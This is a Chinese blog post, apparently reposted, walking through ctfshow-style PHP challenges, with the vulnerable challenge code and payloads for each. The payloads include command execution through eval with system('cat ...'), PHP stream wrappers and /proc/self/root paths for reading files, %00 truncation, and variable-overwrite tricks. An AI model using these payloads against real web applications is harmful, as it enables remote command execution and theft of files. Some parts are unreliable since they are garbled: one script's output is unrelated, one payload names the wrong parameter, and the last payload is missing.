PHP特性 – 我的学习经验分享 您所在的位置:网站首页 php键名中带有空格的键名无法获取数字 PHP特性 – 我的学习经验分享

PHP特性 – 我的学习经验分享

2023-03-13 14:13| 来源: 网络整理| 查看: 265

杂记 题目 highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ eval("echo new $v1($v2());"); } }

如果该对象的类中没有toString方法,直接echo该对象会报错,如果类中有toString方法,则会触发__toString方法而不报错。

所以这题只需要找到一个含有toString方法的内置类即可

payload

?v1=Exception&v2=system('cat fl36dg.txt')

或者

?v1=Reflectionclass&v2=system('cat fl36dg.txt')

最后,再对v2后面的括号进行解释,如v2=system(ls),$v2()会把$v2返回的值会作为函数名去调用,但是调用失败了。

只要变量后面紧跟着(),那么对这个变量进行函数调用。

如可以让返回值是phpinfo,就可以调用phpinfo()。

题目 highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }

限制了部分伪协议,但是php://filter还可以用,可以不用过滤器直接读取。 同时if判断要求file不能为文件,可以用包装器伪协议来绕过。

伪协议不影响file_get_contents,和highlight_file。

所以构造payload:?file=php://filter/resource=flag.php

题目 highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }

这次限制了filter,但可以用封装协议。 payload1:?file=compress.zlib://flag.php

payload2:目录溢出导致is_file认为这不是一个文件。 ?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

/proc/self:不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。/proc/self/root/是指向/的符号链接,就是根目录。

题目 include('flag.php'); highlight_file(__FILE__); error_reporting(0); function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num; } $num=$_GET['num']; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ if($num=='36'){ echo $flag; }else{ echo "hacker!!"; } }else{ echo "hacker!!!"; }

写个脚本

输出:

Array ( [id] => 23 [name] => John Adams )

题目 highlight_file(__FILE__); error_reporting(0); include("flag.php"); if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; } }

paylaod:GET: ?v3=240610708 POST: v1=flag=0

ereg()

ereg()函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true,否则返回false。搜索对于字母字符是区分大小写的。可选的输入参数regs包含由正则表达式中的括号组成的所有匹配表达式的数组。

语法int ereg(string pattern, string string, [array regs]);

本函数以 pattern 的规则来解析比对字符串 string。比对结果返回的值放在数组参数 regs 之中,regs[0] 内容就是原字符串 string、regs[1] 为第一个合乎规则的字符串、regs[2] 就是第二个合乎规则的字符串,余类推。若省略参数 regs,则只是单纯地比对,找到则返回值为 true。

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。

ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则

题目 highlight_file(__FILE__); error_reporting(0); include("flag.php"); if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error'); } //只有36d的人才能看到flag if(intval(strrev($_GET['c']))==0x36d){ echo $flag; }

ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE

这一行是这段代码比较复杂的一段,要注意比较的顺序,之前先认为c和FALSE比较就做不下去

应该是先ereg ("^[a-zA-Z]+$", $_GET['c'])再比较FALSE

结合ereg()函数用法,搜索不到指定字符串就会返回FALSE

if 语句是要TRUE才能执行

FALSE===FALSE

if语句才会是TRUE

如果要让 if 语句不执行,就要让ereg()函数返回TRUE,所以要让c中有字母,但应该不能出现其他东西

intval(strrev($_GET['c']))==0x36d

intval()函数中要877,转化成16进制就是36d

strrev()函数会颠倒顺序,所以c中真实数字要是778

结合第一个函数只能传字母,但有%00截断漏洞

intval()函数只取整数值进行转换

就用字母+%00+数字

payload = ?c=a%00778

strrev()反转字符串函数 reg = ^[a-zA-Z]+$ ^和$分别代表字符串的开始和结束[A-Za-z]表示可以是大写A-Z和小写a-z的任意字母 +代表它们出现次数的范围+表示1到多次*代表0到多次?代表0或1次 这个正则表达式的完整意思就是 必须完全由大小写字母组成,长度不限。 hex2bin()

函数把十六进制值转换为 ASCII 字符

foreach()

foreach()循环只适用于数组,并用于遍历数组中的每一个键/值对

语法

foreach ($array as $value) {   code to be executed; }

每进行一次循环迭代,当前数组元素的值就会被赋值给 $value 变量,并且数组指针会逐一地移动,直到到达最后一个数组元素。

实例

/* red green blue yellow */ /* Peter = 35 Ben = 37 Joe = 43 */ intval()

语法

intval (var, base)

数intval如果参数是字符串,则返回字符串中第一个不是数字的字符之前的数字串所代表的整数值。

preg_match函数表示运用正则来使用匹配函数。

intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer(整数) 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

因为这里的主要是因为preg_match函数无法处理数组【这是他的一个漏洞,所以我们构建一个数组,num[ ]=后面可以随便填一些数字也可以不填,就可以直接出来。】

参数描述 var 必须。可以是任何标量类型。 intval() 不能用于数组 或 对象(类)。 base 可选。转化所使用的进制,默认10进制; 如果 base 是 0,通过检测 var 参数的格式来决定使用的进制: 如果字符串以 “0” 开始,使用 8 进制; 其他使用 10 进制 echo intval("0x1a", 0), "\n"; // 使用16进制。 结果 "26" echo intval("057", 0), "\n"; // 使用8进制。 结果 "47" echo intval("57"),"\n"; // 使用10进制。结果57 echo intval("42", 0), "\n"; // 结果 "42" 题目 include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }

intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 ,还可以构造十六进制绕过,第一个识别为字符串值为0,第二个匹配字符串的格式识别为十六进制数值

遇到过滤字母的可以构造八进制数值绕过

二进制0bxxx 八进制0xxxxxx 十六进制0xaaaa 题目 include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; } }

过滤了字母,同时对传入的参数进行了查找,找字符0,所以可以构造一个浮点数来绕过

4476.01,有0是为了在strpos这个地方返回值不为false来绕过

这样通过intval()函数就可以变为int类型的4476

如果同时过滤了小数点可以构造+010574来绕过

highlight_file 题目 highlight_file(__FILE__); if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); } }

在linux下面表示当前目录是 ./ 所以我们的payload: u=./flag.php

php变量覆盖

$$key = $$value

如果$key = "a";

$value = "b";

执行完第一条语句之后会变成

$a = $b

题目 highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; }foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; die($suces); ?>

payload:GET: ?suces=flag POST: error=suces

php模式修饰符(过滤) preg_match()

PHP模式修饰符又叫模式修正符,是在正则表达式的定界符之外使用。主要用来调整正则表达式的解释,提扩展了正则表达式在匹配、替换等操作的某些功能,增强了正则的能力。

模式修正符号 功能描述 i 在和正则匹配是不区分大小写 m 将字符串视为多行。默认的正则开始“^”和结束“$”将目标字条串作为一单一的一“行”字符(甚至其中包括换行符也是如此)。如果在修饰符中加上“m”,那么开始和结束将会指点字符串的每一行的开头就是“^”结束就是“$”。 s 如果设定了这个修正符,那么,被匹配的字符串将视为一行来看,包括换行符,换行符将被视为普通字符串。 x 如果设定了这个修正符,那么,被匹配的字符串将视为一行来看,包括换行符,换行符将被视为普通字符串。 e 只用在preg_replace()函数中,在替换字符串中逆向引用做正常的替换,将其(即“替换字符串”)作为PHP代码求值,并用其结果来替换所搜索的字符串。 A 如果使用这个修饰符,那么表达式必须是匹配的字符串中的开头部分。比如说”/a/A”匹配”abcd”。 D 模式中的$字符权匹配目标字符的结尾。没有此选项时,如果最后一个字符是换行符的话,美元符号也会匹配此字符之前。如果设定了修正符m则忽略此项。 E 与”m”相反,如果使用这个修饰符,那么”$”将匹配绝对字符串的结尾,而不是换行符前面,默认就打开了这个模式。 U 贪婪模式,和问号的作用差不多,最大限度的匹配就是贪婪模式。 题目 show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; }

只需要在传入的参数中加入换行符即可绕过匹配

payload:?num=123%0aphp

?num=123%0aphp 第一次匹配的时候会变成 ^123$^php$ 将目标字符串变成两行,可以过第一个if 第二次匹配只匹配123 即可绕过php检测 正则匹配溢出

大概意思就是在php中正则表达式进行匹配有一定的限制,超过限制直接返回false

题目

error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = (String)$_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f,'36Dctfshow') === FALSE){ die('bye!!'); } echo $flag; } #payload:


【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有